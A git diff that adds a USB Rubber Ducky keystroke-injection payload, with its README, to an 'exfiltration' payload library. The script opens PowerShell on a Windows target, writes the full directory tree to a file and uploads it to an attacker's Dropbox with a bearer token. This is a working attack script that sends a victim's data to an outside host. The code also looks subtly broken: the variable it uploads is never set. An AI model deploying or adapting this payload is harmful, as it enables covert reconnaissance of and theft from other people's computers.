diff --git a/payloads/library/exfiltration/Tree_structure_of_the_operating_system/1.png b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/1.png new file mode 100644 index 0000000..a932623 Binary files /dev/null and b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/1.png differ diff --git a/payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md new file mode 100644 index 0000000..955e368 --- /dev/null +++ b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md @@ -0,0 +1,58 @@ +# Tree Structure Of The Operating System + +This script allows the exfiltration of the structure of the files contained in a machine, through the use of the tree command in fact it is possible to know all the various links between files, folders and subfolders in a quick and graphically easy to understand way. + +**Category**: Exfiltration + +![](1.png) + +## Description + +This script allows the exfiltration of the structure of the files contained in a machine, through the use of the tree command in fact it is possible to know all the various links between files, folders and subfolders in a quick and graphically easy to understand way. + +Open a PowerShell and run the command `tree /f /a > out.txt` that permit to list the file name and not only the directories, using text characters instead of graphic characters to display rows linking subdirectories. Save all the output in the out.txt file and then send this file through Dropbox. + +I used the [DETECT_READY](https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready) extension. + +## Dependencies + +* Firefox must be installed + +## Settings + +- You must define your Dropbox accessToken or modify the exfiltration modality. + + `DEFINE #DROPBOX_ACCESS_TOKEN example` + +- The path to check can be changed putting the full-path `tree /f /a > out.txt`. + + - `tree \ /f /a > out.txt` + - `tree C:\Users\Aleff\Documents /f /a > out.txt` + +## Credits + +

Aleff :octocat:

+
+ + + + + + +
+ + + +
Github + 		+ + + +
Instagram + 		+ + + +
Discord +
+
diff --git a/payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt new file mode 100644 index 0000000..452d120 --- /dev/null +++ b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt @@ -0,0 +1,66 @@ +REM ########################################################### +REM # | +REM # Title : Tree Structure Of The Operating System | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Exfiltration | +REM # Target : Windows 10-11 | +REM # | +REM ########################################################### + +REM Requirements: +REM - Internet connection + +REM Set yout Dropbox access token +DEFINE #DROPBOX_ACCESS_TOKEN example + +EXTENSION DETECT_READY + REM VERSION 1.1 + REM AUTHOR: Korben + + REM_BLOCK DOCUMENTATION + USAGE: + Extension runs inline (here) + Place at beginning of payload (besides ATTACKMODE) to act as dynamic + boot delay + + TARGETS: + Any system that reflects CAPSLOCK will detect minimum required delay + Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms + END_REM + + REM CONFIGURATION: + DEFINE #RESPONSE_DELAY 25 + DEFINE #ITERATION_LIMIT 120 + + VAR $C = 0 + WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) + CAPSLOCK + DELAY #RESPONSE_DELAY + $C = ($C + 1) + END_WHILE + CAPSLOCK +END_EXTENSION + +GUI r +DELAY 1000 +STRINGLN PowerShell +DELAY 1000 + +REM Setting about exfiltration +STRINGLN_BLOCK + tree /f /a > out.txt + $filePath=".\out.txt"; + $accessToken="#DROPBOX_ACCESS_TOKEN" + $authHeader = @{Authorization = "Bearer $accessToken"} + $dropboxFilePath = "/out_exported.txt" + + $uploadUrl = "https://content.dropboxapi.com/2/files/upload" + + $headers = @{} + $headers.Add("Authorization", "Bearer $accessToken") + $headers.Add("Dropbox-API-Arg", '{"path":"' + $dropboxFilePath + '","mode":"add","autorename":true,"mute":false}') + $headers.Add("Content-Type", "application/octet-stream") + + Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $fileContent; exit; +END_STRINGLN